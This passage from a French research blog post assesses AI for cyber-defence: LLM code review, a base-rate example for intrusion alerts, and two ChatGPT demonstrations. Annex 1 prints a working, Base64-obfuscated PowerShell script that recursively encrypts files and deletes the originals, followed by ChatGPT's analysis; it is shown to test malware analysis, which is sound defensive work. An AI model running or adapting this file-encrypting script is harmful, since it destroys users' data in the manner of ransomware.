<p>Les vulnérabilités de sécurité dans le code sont un problème récurrent affectant la plupart des logiciels et ayant un impact sur l’intégrité, la confidentialité et la disponibilité. L’utilisation de certains langages de programmation connus pour être moins susceptibles que d’autres à des problèmes classiques est recommandée (par exemple Rust plutôt que C). L’examen du code par d’autres programmeurs experts est aussi une méthode largement répandue.</p>
<p>Mais l’analyse de Ganseman <a href="#_ref21">[21]</a> conduit à se poser la question de l’utilité des LLM pour détecter des erreurs ou bogues dans du code existant ou pour aider à écrire du code plus sécurisé. La difficulté réside dans le fait, qu’à ce jour, il faut indiquer les endroits potentiels où le code n’est pas sûr, c’est-à-dire que c’est le développeur qui doit détecter où une amélioration est possible. Il se pourrait que dans un avenir proche, une base de code entière puisse être soumise à un examen de sécurité, mais pour l’instant, cela reste limité à la longueur du contexte et plus la question est précise, meilleure est la réponse.</p>
<p>Paradoxalement, Perry et al. <a href="#_ref22">[22]</a> ont rapporté dans une étude récente que, bien que les assistants augmentent la productivité des développeurs, les participants ayant accès à un assistant basé sur un modèle d’IA (en l’occurrence le <em>codex-davinci-002</em> de OpenAI) écrivaient un code significativement moins sécurisé que ceux sans accès. Pire, les participants avec un accès à l’assistant étaient plus enclins à croire qu’ils écrivaient du code sécurisé, que ceux sans l’assistant. L’adoption d’assistants impose donc la mise en place de pratiques de revue de code et d’analyse statique systématiques <a href="#_ref21">[21]</a>.</p>
<h1>Conclusion</h1>
<p>Même si les progrès de l’IA sont fulgurants dans beaucoup de domaines, l&#8217;apport non-négligeable de l&#8217;IA à la défense des systèmes informatiques reste néanmoins limité&nbsp;: nous sommes en effet encore loin des outils où il suffirait de donner des terra-octets de divers journaux d’événements pour que rapidement les signes d’intrusions soient détectés avec très peu d’erreur.</p>
<p>Aujourd’hui les méthodes statistiques spécialisées et d’apprentissage automatique – comme par exemple la détection d’anomalies – continuent de faire l’objet de recherches importantes et sont ajoutées aux outils commerciaux de détection d’intrusion avec l’étiquette « IA. » Mais en y regardant de plus près, l’IA apparaît principalement comme un nouvel outil de « productivité » pour des professionnels de cybersécurité, contribuant à l&#8217;automatisation de certaines tâches de cyber-défense, ou facilitant la réponse à des incidents et le traitement des renseignements sur les menaces, mais ne remplaçant pas l’analyste humain.</p>
<h1>Références</h1>
<p><a name="_ref1"></a>[1]        B. Schneier, « Artificial Intelligence and the Attack/Defense Balance », <em>IEEE Secur. Priv.</em>, vol. 16, n<sup>o</sup> 2, p. 96‑96, mars 2018, doi: <a href="https://doi.org/10.1109/MSP.2018.1870857" target="_blank" rel="noopener">10.1109/MSP.2018.1870857</a>.</p>
<p><a name="_ref2"></a>[2]        I. H. Sarker, H. Janicke, L. Maglaras, et S. Camtepe, « Data-Driven Intelligence can Revolutionize Today’s Cybersecurity World: A Position Paper ». arXiv, 9 août 2023. Consulté le: 27 octobre 2023. [En ligne]. Disponible sur: <a href="https://arxiv.org/abs/2308.05126" target="_blank" rel="noopener">http://arxiv.org/abs/2308.05126</a></p>
<p><a name="_ref3"></a>[3]        J. D’Hoinne, A. Litan, et P. Firstbrook, « 4 Ways Generative AI Will Impact CISOs and Their Teams », Gartner, G00793265, juin 2023.</p>
<p><a name="_ref4"></a>[4]        M. Taddeo, T. McCutcheon, et L. Floridi, « Trusting artificial intelligence in cybersecurity is a double-edged sword », <em>Nat. Mach. Intell.</em>, vol. 1, n<sup>o</sup> 12, p. 557‑560, nov. 2019, doi: <a href="https://doi.org/10.1038/s42256-019-0109-1" target="_blank" rel="noopener noopnener">10.1038/s42256-019-0109-1</a><a>.</a></p>
<p><a name="_ref5"></a>[5]        D. Dasgupta, Z. Akhtar, et S. Sen, « Machine learning in cybersecurity: a comprehensive survey », <em>J. Def. Model. Simul. Appl. Methodol. Technol.</em>, vol. 19, n<sup>o</sup> 1, p. 57‑106, janv. 2022, doi: <a href="https://doi.org/10.1177/1548512920951275" target="_blank" rel="noopener">10.1177/1548512920951275</a>.</p>
<p><a name="_ref6"></a>[6]        M. Nouh, J. R. C. Nurse, H. Webb, et M. Goldsmith, « Cybercrime Investigators are Users Too! Understanding the Socio-Technical Challenges Faced by Law Enforcement », in <em>Proceedings 2019 Workshop on Usable Security</em>, 2019. doi: <a href="https://doi.org/10.14722/usec.2019.23032" target="_blank" rel="noopener">10.14722/usec.2019.23032</a>.</p>
<p><a name="_ref7"></a>[7]        J. R. G. Evangelista, R. J. Sassi, M. Romero, et D. Napolitano, « Systematic Literature Review to Investigate the Application of Open Source Intelligence (OSINT) with Artificial Intelligence », <em>J. Appl. Secur. Res.</em>, vol. 16, n<sup>o</sup> 3, p. 345‑369, juill. 2021, doi: <a href="https://doi.org/10.1080/19361610.2020.1761737" target="_blank" rel="noopener">10.1080/19361610.2020.1761737</a>.</p>
<p><a name="_ref8"></a>[8]        M. Sewak, V. Emani, et A. Naresh, « CRUSH: Cybersecurity Research using Universal LLMs and Semantic Hypernetworks », 2023.</p>
<p><a name="_ref9"></a>[9]        K. A. Scarfone et P. M. Mell, « Guide to intrusion detection and prevention systems (IDPS) », National Institute of Standards and Technology, Gaithersburg, MD, NIST SP 800-94, 2007. doi: <a href="https://doi.org/10.6028/NIST.SP.800-94" target="_blank" rel="noopener">10.6028/NIST.SP.800-94</a>.</p>
<p><a name="_ref10"></a>[10]       D. Denning, « An Intrusion-Detection Model », <em>IEEE Trans. Softw. Eng.</em>, vol. 13, n<sup>o</sup> 2, p. 222‑232, 20.</p>
<p><a name="_ref11"></a>[11]       G. Apruzzese <em>et al.</em>, « The role of machine learning in cybersecurity », <em>Digit. Threats Res. Pract.</em>, vol. 4, n<sup>o</sup> 1, p. 1‑38, mars 2023, doi: <a href="https://doi.org/10.1145/3545574" target="_blank" rel="noopener">10.1145/3545574</a>.</p>
<p><a name="_ref12"></a>[12]       A. Bohara, M. A. Noureddine, A. Fawaz, et W. H. Sanders, « An Unsupervised Multi-Detector Approach for Identifying Malicious Lateral Movement », in <em>2017 IEEE 36th Symposium on Reliable Distributed Systems (SRDS)</em>, Hong Kong, Hong Kong: IEEE, sept. 2017, p. 224‑233. doi: <a href="https://doi.org/10.1109/SRDS.2017.31" target="_blank" rel="noopener noopnener">10.1109/SRDS.2017.31</a><a>.</a></p>
<p><a name="_ref13"></a>[13]       G. Apruzzese, M. Marchetti, M. Colajanni, G. G. Zoccoli, et A. Guido, « Identifying malicious hosts involved in periodic communications », in <em>2017 IEEE 16th International Symposium on Network Computing and Applications (NCA)</em>, Cambridge, MA: IEEE, oct. 2017, p. 1‑8. doi: <a href="https://doi.org/10.1109/NCA.2017.8171326" target="_blank" rel="noopener noopnener">10.1109/NCA.2017.8171326</a><a>.</a></p>
<p><a name="_ref14"></a>[14]       J. Yang, T. Li, G. Liang, W. He, et Y. Zhao, « A Simple Recurrent Unit Model Based Intrusion Detection System With DCGAN », <em>IEEE Access</em>, vol. 7, p. 83286‑83296, 2019, doi: <a href="https://doi.org/10.1109/ACCESS.2019.2922692" target="_blank" rel="noopener noopnener">10.1109/ACCESS.2019.2922692</a><a>.</a></p>
<p><a name="_ref15"></a>[15]       L. Cavallaro, J. Kinder, F. Pendlebury, et F. Pierazzi, « Are Machine Learning Models for Malware Detection Ready for Prime Time? », <em>IEEE Secur. Priv.</em>, vol. 21, n<sup>o</sup> 2, p. 53‑56, mars 2023, doi: <a href="https://doi.org/10.1109/MSEC.2023.3236543" target="_blank" rel="noopener noopnener">10.1109/MSEC.2023.3236543</a><a>.</a></p>
<p><a name="_ref16"></a>[16]       J. L. Hernández-Ramos <em>et al.</em>, « Intrusion detection based on federated learning: a systematic review ». arXiv, 18 août 2023. Consulté le: 17 octobre 2023. [En ligne]. Disponible sur: <a href="https://arxiv.org/abs/2308.09522" target="_blank" rel="noopener noopnener">http://arxiv.org/abs/2308.09522</a></p>
<p><a name="_ref17"></a>[17]       Y.-H. Su, M. C. Y. Cho, et H.-C. Huang, « False Alert Buster: an Adaptive Approach for NIDS False Alert Filtering », in <em>Proceedings of the 2nd International Conference on Computing and Big Data</em>, Taichung Taiwan: ACM, oct. 2019, p. 58‑62. doi: <a href="https://doi.org/10.1145/3366650.3366657" target="_blank" rel="noopener noopnener">10.1145/3366650.3366657</a><a>.</a></p>
<p><a name="_ref18"></a>[18]       M. Gupta, C. Akiri, K. Aryal, E. Parker, et L. Praharaj, « From ChatGPT to ThreatGPT: Impact of generative AI in cybersecurity and privacy », <em>IEEE Access</em>, vol. 11, p. 80218‑80245, août 2023, doi: 10.1109/ACCESS.2023.3300381.</p>
<p><a name="_ref19"></a>[19]       M. A. Ferrag, M. Ndhlovu, N. Tihanyi, L. C. Cordeiro, M. Debbah, et T. Lestable, « Revolutionizing Cyber Threat Detection with Large Language Models ». arXiv, 25 juin 2023. Consulté le: 8 novembre 2023. [En ligne]. Disponible sur: <a href="https://arxiv.org/abs/2306.14263" target="_blank" rel="noopener noopnener">http://arxiv.org/abs/2306.14263</a></p>
<p><a name="_ref20"></a>[20]       A. Krishnan, « 4 ChatGPT cybersecurity benefits for the enterprise | TechTarget », Security. Consulté le: 12 octobre 2023. [En ligne]. Disponible sur: <a href="https://www.techtarget.com/searchsecurity/tip/ChatGPT-cybersecurity-benefits-for-the-enterprise" target="_blank" rel="noopener noopnener">https://www.techtarget.com/searchsecurity/tip/ChatGPT-cybersecurity-benefits-for-the-enterprise</a></p>
<p><a name="_ref21"></a>[21]       J. Ganseman, « LLM pour code : the Good, the Bad and the Ugly | Smals Research », Smals Research Blog. Consulté le: 18 octobre 2023. [En ligne]. Disponible sur: <a href="/llms-pour-code/" target="_blank" rel="noopener noopnener">/llms-pour-code/</a></p>
<p><a name="_ref22"></a>[22]       N. Perry, M. Srivastava, D. Kumar, et D. Boneh, « Do Users Write More Insecure Code with AI Assistants? » arXiv, 16 décembre 2022. Consulté le: 3 octobre 2023. [En ligne]. Disponible sur: <a href="https://arxiv.org/abs/2211.03622" target="_blank" rel="noopener noopnener">http://arxiv.org/abs/2211.03622</a></p>
<h1>Annexe 1 – Analyse de script malveillant avec ChatGPT</h1>
<p>L’exemple ci-dessous montre la réponse de ChatGPT 4.0 à la question « Que fait ce code ? » suivie d’un échantillon de code. On constate que malgré la tentative d’obfuscation et les commentaires erronés, ChatGPT analyse avec pertinence ce script qui chiffre tous les fichiers dans le dossier &#8220;<code>C:\Local\chat_gpt_ps\test</code>&#8221; ses sous-dossiers.</p>
<h2>Script soumis à ChatGPT</h2>
<div>
<pre><code><span style="color: #0000ff;">function </span><span style="color: #795e00;">Compute_SHA256 </span>{</code><br /><code>    <span style="color: #008000;"># Compute SHA 256 of an object in memory</span></code><br /><code>    [<span style="color: #795e00;">CmdletBinding</span>()]</code><br /><code>    [<span style="color: #795e00;">OutputType</span>([<span style="color: #0000ff;">string</span>])]</code><br /><code>    <span style="color: #af00db;">Param</span></code><br /><code>    (</code><br /><code>        [<span style="color: #795e00;">Parameter</span>(<span style="color: #001080;">Mandatory </span>= <span style="color: #0000ff;">$true</span>)]</code><br /><code>        [<span style="color: #0000ff;">String</span>]<span style="color: #001080;">$salt</span>,</code><br /><code>        [<span style="color: #795e00;">Parameter</span>(<span style="color: #001080;">Mandatory </span>= <span style="color: #0000ff;">$true</span>, <span style="color: #001080;">ParameterSetName </span>= <span style="color: #a31515;">"param"</span>)]</code><br /><code>        [<span style="color: #0000ff;">String</span>]<span style="color: #001080;">$object</span></code><br /><code>    )</code><br /><code>    <span style="color: #af00db;">Begin</span> {</code><br /><code>        <span style="color: #008000;"># Initialise hashing function</span></code><br /><code>        <span style="color: #001080;">$tmp</span> = <span style="color: #795e00;">New-Object</span> byte[] <span style="color: #008000;">16</span></code><br /><code>        <span style="color: #001080;">$sha1</span> = <span style="color: #795e00;">New-Object</span> System.Security.Cryptography.SHA256Managed</code><br /><code>        <span style="color: #001080;">$sha2</span> = <span style="color: #795e00;">New-Object</span> System.Security.Cryptography.AesManaged</code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.Mode</span> = <span style="color: #a31515;">'CBC'</span> -as [<span style="color: #0000ff;">System.Security.Cryptography.CipherMode</span>]</code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.Padding</span> = <span style="color: #a31515;">'Zeros'</span> -as [<span style="color: #0000ff;">System.Security.Cryptography.PaddingMode</span>]</code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.BlockSize</span> = <span style="color: #008000;">128</span></code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.KeySize</span> = <span style="color: #008000;">256</span></code><br /><code>        [<span style="color: #0000ff;">void</span>][<span style="color: #0000ff;">Security.Cryptography.RNGCryptoServiceProvider</span>]::Create().GetBytes($tmp)</code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.IV</span> = <span style="color: #001080;">$tmp</span></code><br /><code>    }</code><br /><code>    <span style="color: #af00db;">Process</span> {</code><br /><code>        <span style="color: #008000;"># Compute hash</span></code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.Key</span> = <span style="color: #001080;">$sha1</span><span style="color: #795e00;">.ComputeHash</span>([<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetBytes($salt))</code><br /><code>        <span style="color: #001080;">$dynCmd</span> = [<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetString([<span style="color: #0000ff;">Convert</span>]::FromBase64String(<span style="color: #a31515;">"R2V0LUl0ZW0gLVBhdGggJG9iamVjdCAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ=="</span>))</code><br /><code>        <span style="color: #001080;">$object2</span> = <span style="color: #795e00;">Invoke-Expression</span> <span style="color: #001080;">$dynCmd</span></code><br /><code>        <span style="color: #af00db;">if</span> (!<span style="color: #001080;">$object2</span><span style="color: #795e00;">.FullName</span>) {</code><br /><code>            <span style="color: #af00db;">break</span></code><br /><code>        }</code><br /><code>        <span style="color: #001080;">$dynCmd</span> = [<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetString([<span style="color: #0000ff;">Convert</span>]::FromBase64String(<span style="color: #a31515;">"W1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbEJ5dGVzKCRvYmplY3QyLkZ1bGxOYW1lKQ=="</span>))</code><br /><code>        <span style="color: #001080;">$input</span> = <span style="color: #795e00;">Invoke-Expression</span> <span style="color: #001080;">$dynCmd</span></code><br /><code>        <span style="color: #001080;">$output</span> = <span style="color: #001080;">$object2</span><span style="color: #795e00;">.FullName</span> + <span style="color: #a31515;">".xxx"</span></code><br /><code>        <span style="color: #001080;">$sha2_hasher</span> = <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.CreateEncryptor</span>()</code><br /><code>        <span style="color: #001080;">$encryptedBytes</span> = <span style="color: #001080;">$sha2_hasher</span><span style="color: #795e00;">.TransformFinalBlock</span>($input, 0, $input.Length)</code><br /><code>        <span style="color: #001080;">$encryptedBytes</span> = <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.IV</span> + <span style="color: #001080;">$encryptedBytes</span></code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.Dispose</span>()</code><br /><code>       </code><br /><code>        <span style="color: #001080;">$e</span> = <span style="color: #001080;">$output</span></code><br /><code>        <span style="color: #001080;">$encD</span> = <span style="color: #001080;">$encryptedBytes</span></code><br /><code>        <span style="color: #001080;">$dynCmd</span> = [<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetString([<span style="color: #0000ff;">Convert</span>]::FromBase64String(<span style="color: #a31515;">"W1N5c3RlbS5JTy5GaWxlXTo6V3JpdGVBbGxCeXRlcygkZSwgJGVuY0Qp"</span>))</code><br /><code>        <span style="color: #795e00;">Invoke-Expression</span> <span style="color: #001080;">$dynCmd</span></code><br /><code>        (<span style="color: #795e00;">Get-Item</span> <span style="color: #001080;">$output</span>).LastWriteTime = $object2<span style="color: #795e00;">.LastWriteTime</span></code><br /><code>        <span style="color: #001080;">$f</span> = <span style="color: #001080;">$object2</span></code><br /><code>        <span style="color: #001080;">$dynCmd</span> = [<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetString([<span style="color: #0000ff;">Convert</span>]::FromBase64String(<span style="color: #a31515;">"UmVtb3ZlLUl0ZW0gLVBhdGgg"</span>)) + <span style="color: #a31515;">"'</span><span style="color: #001080;">$f<span style="color: #a31515;">'"</span></span></code><br /><code>        <span style="color: #795e00;">Invoke-Expression</span> <span style="color: #001080;">$dynCmd</span></code><br /><code>        <span style="color: #af00db;">return</span> <span style="color: #a31515;">"Sortie:</span> <span style="color: #001080;">$output</span><span style="color: #a31515;">"</span>        </code><br /><code>    }</code><br /><code>    <span style="color: #af00db;">End</span> {</code><br /><code>        <span style="color: #001080;">$sha1</span><span style="color: #795e00;">.Dispose</span>()</code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.Dispose</span>()</code><br /><code>    }</code><br /><code>}</code><br /><br /><code><span style="color: #001080;">$dynCmd</span> = [<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetString([<span style="color: #0000ff;">Convert</span>]::FromBase64String(<span style="color: #a31515;">"R2V0LUNoaWxkSXRlbSAtUGF0aCAiQzpcTG9jYWxcY2hhdF9ncHRfcHNcdGVzdCIgLUZpbGUgLVJlY3Vyc2U="</span>))<br /></code><br /><code><span style="color: #795e00;">Invoke-Expression</span> <span style="color: #001080;">$dynCmd</span> | <span style="color: #795e00;">ForEach-Object</span> {</code><br /><code>    <span style="color: #001080;">$object</span> = <span style="color: #001080;">$_</span><span style="color: #795e00;">.FullName</span></code><br /><code>    Compute_SHA256 -salt <span style="color: #a31515;">"salty"</span> -object <span style="color: #001080;">$object</span></code><br /><code>}</code></pre>
</div>
<h2>Réponse de ChatGPT</h2>
<p>Ce script PowerShell définit une fonction nommée <strong>Compute_SHA256</strong>, qui effectue plusieurs opérations sur les fichiers, notamment le calcul du hachage SHA-256, le chiffrement AES, et la manipulation de fichiers. Voici un détail étape par étape de ce que fait le script&nbsp;:</p>
<ol>
<li><strong>Initialisation</strong>&nbsp;:
<ul>
<li>Définition de paramètres pour la fonction <strong>Compute_SHA256</strong> qui incluent un <strong>salt</strong> et un <strong>object</strong> (nom de fichier).</li>
<li>Initialisation d&#8217;un objet de cryptographie AES (<strong>$sha2</strong>) avec des paramètres spécifiques pour le mode de chiffrement, le padding, la taille de bloc, et la taille de clé.</li>
</ul>
</li>
<li><strong>Traitement</strong>&nbsp;:
<ul>
<li>Utilisation de SHA-256 pour générer une clé de chiffrement à partir du <strong>salt</strong></li>
<li>Déchiffrement de chaînes codées en Base64 pour obtenir des commandes PowerShell qui sont exécutées dynamiquement pour&nbsp;:
<ul>
<li>Lire le contenu d&#8217;un fichier spécifié.</li>
<li>Chiffrer le contenu du fichier avec AES en utilisant la clé générée précédemment.</li>
<li>Concaténer le vecteur d&#8217;initialisation (<strong>IV</strong>) avec le contenu chiffré.</li>
<li>Écrire les données chiffrées dans un nouveau fichier avec l&#8217;extension <strong>.xxx</strong>.</li>
<li>Mettre à jour le timestamp du nouveau fichier pour qu&#8217;il corresponde à celui de l&#8217;original.</li>
<li>Supprimer le fichier original.</li>
</ul>
</li>
</ul>
</li>
</ol>
<ol start="3">
<li><strong>Fin de traitement</strong>&nbsp;:
<ul>
<li>Libération des ressources utilisées par les objets de cryptographie.</li>
</ul>
</li>
<li><strong>Exécution</strong>&nbsp;:
<ul>
<li>Le script exécute une commande pour lister tous les fichiers dans un chemin spécifié de manière récursive.</li>
<li>Pour chaque fichier trouvé, il appelle la fonction <strong>Compute_SHA256</strong> avec un <strong>salt</strong> fixe (&#8220;salty&#8221;) et le chemin du fichier.</li>
</ul>
</li>
</ol>
<p><strong>Objectifs principaux du script</strong></p>
<ul>
<li><strong>Chiffrer des fichiers</strong>&nbsp;: Le contenu des fichiers est chiffré avec AES, utilisant une clé dérivée d&#8217;un <strong>salt</strong>.</li>
<li><strong>Suppression sécurisée</strong>&nbsp;: Après le chiffrement, les fichiers originaux sont supprimés, ce qui pourrait être utilisé pour une sorte de nettoyage de données.</li>
<li><strong>Automatisation de processus</strong>&nbsp;: L&#8217;exécution des commandes est effectuée de manière dynamique, probablement pour masquer les actions effectuées (en utilisant le décodage Base64 pour cacher les commandes réelles).</li>
</ul>
<p><strong>Points d&#8217;attention</strong></p>
<ul>
<li><strong>Sécurité</strong>&nbsp;: Le script effectue des actions dynamiques (via <strong>Invoke-Expression</strong>), ce qui peut être risqué si les entrées ne sont pas correctement validées ou si le script est utilisé dans un environnement non sécurisé.</li>
</ul>
<p><strong>Modification de données</strong>&nbsp;: Il supprime les fichiers originaux après le chiffrement, ce qui peut entraîner une perte de données si le processus n&#8217;est pas contrôlé.</p>
<h2>Question complémentaire</h2>
<p>Où constates-tu que les fichiers originaux sont supprimés?</p>
<h2>Réponse de ChatGPT</h2>
<p>Les fichiers originaux sont supprimés à la fin de la section de traitement (<strong>Process</strong>) de la fonction <strong>Compute_SHA256</strong>. Cela est réalisé grâce à ces étapes spécifiques dans le script&nbsp;:</p>
<ol>
<li>La variable <strong>$f</strong> est assignée à <strong>$object2</strong>, qui contient les informations sur le fichier original.</li>
<li>Une chaîne de commande est construite pour exécuter la commande <strong>Remove-Item</strong>, qui est utilisée pour supprimer des fichiers. La commande est constituée en concaténant la chaîne <strong>&#8220;Remove-Item -Path &#8220;</strong> avec le chemin complet du fichier contenu dans <strong>$f</strong>.</li>
<li>La commande complète est exécutée avec <strong>Invoke-Expression</strong>, effectuant la suppression du fichier original spécifié par <strong>$f</strong>.</li>
</ol>
<p>Voici la portion pertinente du script où cela se produit&nbsp;:</p>
<pre><code>$f = $object2</code><br /><code>$dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg")) + "'$f'"</code><br /><code>Invoke-Expression $dynCmd</code></pre>
<p>La chaîne codée en Base64 <strong>&#8220;UmVtb3ZlLUl0ZW0gLVBhdGgg&#8221;</strong> est décodée pour donner <strong>&#8220;Remove-Item -Path &#8220;</strong>, formant ainsi la commande complète pour supprimer le fichier.</p>
<h1>Annexe 2 – Génération de script d’analyse</h1>
<p>Example de génération d’un script d’analyse très simple d’un journal d’événement dans le langage SPL de Splunk.</p>
<h2>Demande faite à ChatGPT</h2>
<p>Écris un script Splunk qui filtre les entrées dont l’adresse source IP n’est pas réservée et n’est pas en Belgique et dont la destination est une IP de classe A commençant par 10.</p>
<h2>Réponse de ChatGPT</h2>
<p>Pour créer un script Splunk qui filtre les entrées de journalisation en fonction de l&#8217;adresse IP source (qui n&#8217;est ni réservée ni en Belgique) et de l&#8217;adresse IP de destination (qui commence par 10), il faudrait d&#8217;abord disposer d&#8217;une liste des plages d&#8217;adresses IP attribuées à la Belgique. Cependant, Splunk en soi n&#8217;effectue pas de géolocalisation directe des adresses IP. Vous auriez besoin d&#8217;une table de correspondance IP-pays ou d&#8217;utiliser une fonctionnalité d&#8217;enrichissement des données qui mappe les adresses IP aux pays.</p>
<p>Pour les besoins de cet exemple, je vais supposer que vous avez accès à une telle table ou à une fonctionnalité dans Splunk. Je vais également supposer que les champs sont nommés <strong>src_ip</strong> pour l&#8217;adresse IP source et <strong>dest_ip</strong> pour l&#8217;adresse IP de destination.</p>
<p>Voici comment pourrait ressembler votre script Splunk&nbsp;:</p>
<pre><code>index=ton_index | lookup ip_country_lookup src_ip OUTPUT country | search NOT [ search index=ton_index | lookup ip_country_lookup src_ip OUTPUT country | search country="BE" | fields src_ip ] | regex src_ip!="^(127\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)" | regex dest_ip="^10\." | table src_ip, dest_ip, country, _raw</code></pre>
<p>Explication du script&nbsp;:</p>
<ol>
<li><strong>index=ton_index</strong>&nbsp;: Remplace <strong>ton_index</strong> par l&#8217;index approprié qui contient tes données de logs.</li>
<li><strong>lookup ip_country_lookup src_ip OUTPUT country</strong>&nbsp;: Effectue un lookup pour déterminer le pays de l&#8217;adresse IP source. Remplace <strong>ip_country_lookup</strong> par le nom réel de ta table de lookup ou de ton enrichissement de données qui mappe les adresses IP aux pays.</li>
<li>La sous-requête <strong>search NOT [&#8230;]</strong> exclut toutes les adresses IP provenant de la Belgique. <strong>fields src_ip</strong> est utilisé pour retourner uniquement les adresses IP de la sous-requête.</li>
<li><code>regex src_ip!="^(127\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)"</code>&nbsp;: Exclut les adresses IP réservées.</li>
<li><strong>regex dest_ip=&#8221;^10\.&#8221;</strong>&nbsp;: Filtre pour inclure uniquement les entrées dont l&#8217;adresse IP de destination commence par 10.</li>
<li><strong>table src_ip, dest_ip, country, _raw</strong>&nbsp;: Affiche les adresses IP source et destination, le pays de l&#8217;adresse source, et la ligne brute du journal.</li>
</ol>
<p>Ce script nécessite que tu aies une lookup table configurée correctement pour la correspondance des adresses IP aux pays, ce qui n&#8217;est pas automatiquement disponible dans Splunk. Il te faudra configurer ou obtenir ces données par toi-même ou utiliser une application Splunk tierce qui offre cette capacité.</p>
<h1>Notes</h1>
<p><a href="#_ftnref1" name="_ftn1"><sup>1</sup></a>   <a href="https://cordis.europa.eu/project/id/700692" target="_blank" rel="noopener">https://cordis.europa.eu/project/id/700692</a></p>
<p><a href="#_ftnref2" name="_ftn2"><sup>2</sup></a>   Une analyse systématique des publications sur l’utilisation de l’IA pour l’OSINT montre que la cybersécurité représente près de la moitié des publications considérées <a href="#_ref7">[7]</a>.</p>
<p><a href="#_ftnref3" name="_ftn3"><sup>3</sup></a>   Les auteurs indiquent un rappel de 90%. En général, le rappel est défini par le nombre de documents pertinents retrouvés au regard du nombre de documents pertinents que possède la base de données.</p>
<p><a href="#_ftnref4" name="_ftn4"><sup>4</sup></a>   Son modèle utilise des statistiques pour la détection des anomalies (modèle statistique simple, chaîne de Markov et séries temporelles).</p>
<p><a href="#_ftnref5" name="_ftn5"><sup>5</sup></a>   <a href="https://www.cloudflare.com/fr-fr/learning/security/glossary/what-is-lateral-movement/" target="_blank" rel="noopener">https://www.cloudflare.com/fr-fr/learning/security/glossary/what-is-lateral-movement/</a></p>
<p><a href="#_ftnref6" name="_ftn6"><sup>6</sup></a>   <a href="https://github.com/GreyDGL/PentestGPT" target="_blank" rel="noopener">https://github.com/GreyDGL/PentestGPT</a></p>
<p><a href="#_ftnref7" name="_ftn7"><sup>7</sup></a>   <a href="https://www.hackthebox.com/" target="_blank" rel="noopener">https://www.hackthebox.com/</a></p>
<p><a href="#_ftnref8" name="_ftn8"><sup>8</sup></a>   Supposons que dans un journal d’un million d’événements, on estime qu’il y ait 100 événements correspondant réellement à une intrusion. Supposons également qu’un fabriquant nous vende un système de détection d’intrusion dont la sensibilité est de 99,9%, c’est-à-dire qu’il y a un taux de 0,1% de faux négatifs parmi les événements correspondant à de véritables intrusions, et dont la spécificité est également de 99,9% c’est-à-dire qu’il y a un taux de 0,1% de faux positifs parmi les événements ne correspondant pas à des intrusions. Si le logiciel du fabriquant signale une alerte, quelle est alors la probabilité que celle-ci corresponde effectivement à une intrusion ?</p>
<p>Instinctivement, beaucoup diraient « 99,9%. » Pourtant, si l’on dénote <em><strong>I</strong></em> la variable aléatoire correspondant à une intrusion, et <em><strong>A</strong></em>, celle relative à une alerte, il est possible de réécrire les hypothèses ci-dessus de la manière suivante&nbsp;: si <em><strong>P</strong></em>(<em><strong>I</strong></em>)=100/1.000.000, <em><strong>P</strong></em>(<em><strong>A</strong></em>│<em><strong>I</strong></em>)=0,999, et <em><strong>P</strong></em>(¬<em><strong>A</strong></em>│¬<em><strong>I</strong></em>)=0,999, alors quelle est la valeur de <em><strong>P</strong></em>(<em><strong>I</strong></em>|<em><strong>A</strong></em>)&nbsp;? Le théorème de Bayes, nous donne&nbsp;: <em><strong>P</strong></em>(<em><strong>I</strong></em>│<em><strong>A</strong></em>)=<em><strong>P</strong></em>(<em><strong>I</strong></em>)⋅<em><strong>P</strong></em>(<em><strong>A</strong></em>|<em><strong>I</strong></em>)/<em><strong>P</strong></em>(<em><strong>A</strong></em>) avec <em><strong>P</strong></em>(<em><strong>A</strong></em>)=<em><strong>P</strong></em>(<em><strong>I</strong></em>)⋅<em><strong>P</strong></em>(<em><strong>A</strong></em>│<em><strong>I</strong></em>)+<em><strong>P</strong></em>(¬<em><strong>I</strong></em>)⋅<em><strong>P</strong></em>(<em><strong>A</strong></em>|¬<em><strong>I</strong></em>) et <em><strong>P</strong></em>(<em><strong>A</strong></em>│¬<em><strong>I</strong></em>)=1−<em><strong>P</strong></em>(¬<em><strong>A</strong></em>│¬<em><strong>I</strong></em>)=0,001. Ce qui conduit à 9,08% de probabilité que l’alerte donnée soit effectivement une intrusion et non 99,9%&nbsp;!</p>
<p><a href="#_ftnref9" name="_ftn9"><sup>9</sup></a> Une méthode non-paramétrique d’estimation de la densité de probabilité d’une variable aléatoire</p>
<p><a href="#_ftnref10" name="_ftn10"><sup>10</sup></a> <a href="https://www.paloaltonetworks.com/blog/security-operations/using-chatgpt-in-cortex-xsoar/" target="_blank" rel="noopener">https://www.paloaltonetworks.com/blog/security-operations/using-chatgpt-in-cortex-xsoar/</a></p>
<p><a href="#_ftnref11" name="_ftn11"><sup>11</sup></a> <a href="https://falconllm.tii.ae/" target="_blank" rel="noopener">https://falconllm.tii.ae/</a></p>
<p>_________________________<br data-rich-text-line-break="true" /><br data-rich-text-line-break="true" /><em>Ce post est une contribution individuelle de Fabien A. P. Petitcolas, spécialisé en sécurité informatique chez Smals Research. Cet article est écrit en son nom propre et n&#8217;impacte en rien le point de vue de Smals.</em></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Offensieve AI</title>
		<link>https://www.smalsresearch.be/offensieve-ai/</link>
		
